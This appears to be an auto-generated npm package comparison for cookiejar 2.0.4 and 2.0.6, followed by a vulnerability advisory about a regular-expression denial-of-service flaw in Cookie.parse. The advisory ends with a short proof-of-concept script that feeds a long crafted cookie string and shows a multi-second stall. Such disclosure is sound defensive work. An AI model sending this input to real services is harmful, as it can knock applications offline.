Cookiejar is a straightforward and persistent solution for managing cookies within Node.js applications. Version 2.0.6 enhances the previous stable release, version 2.0.4, primarily through a shift in development dependencies. While both versions maintain identical descriptions, licensing under MIT, and authorship, the crucial difference lies in the management of development tools. Version 2.0.4 lists jshint as a direct dependency, meaning it’s required for the core functionality. In contrast, version 2.0.6 elevates jshint to a *devDependencies*, signifying its role is solely for development-related tasks like linting the code for style and potential errors, without being necessary for the application to run in production.
This change is important for developers because it means applications using version 2.0.6 will potentially have a smaller install size and fewer dependencies to manage during runtime, ultimately improving deployment efficiency. Both versions offer a reliable cookiejar implementation, but developers should consider the dependency management difference during package installation and build processes. The core functionality for handling and persisting cookies remains consistent, making either version suitable depending on your project's specific dependency management strategy. Both versions are accessible via npm and their respective tarball URLs are provided for direct download.
All the vulnerabilities related to the version 2.0.6 of the package
cookiejar Regular Expression Denial of Service via Cookie.parse function
Versions of the package cookiejar before 2.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS) via the Cookie.parse function and other aspects of the API, which use an insecure regular expression for parsing cookie values. Applications could be stalled for extended periods of time if untrusted input is passed to cookie values or attempted to parse from request headers.
Proof of concept:
ts\nconst { CookieJar } = require("cookiejar");
const jar = new CookieJar();
const start = performance.now();
const attack = "a" + "t".repeat(50_000);
jar.setCookie(attack);
console.log(`CookieJar.setCookie(): ${performance.now() - start}ms`);
CookieJar.setCookie(): 2963.214399999939ms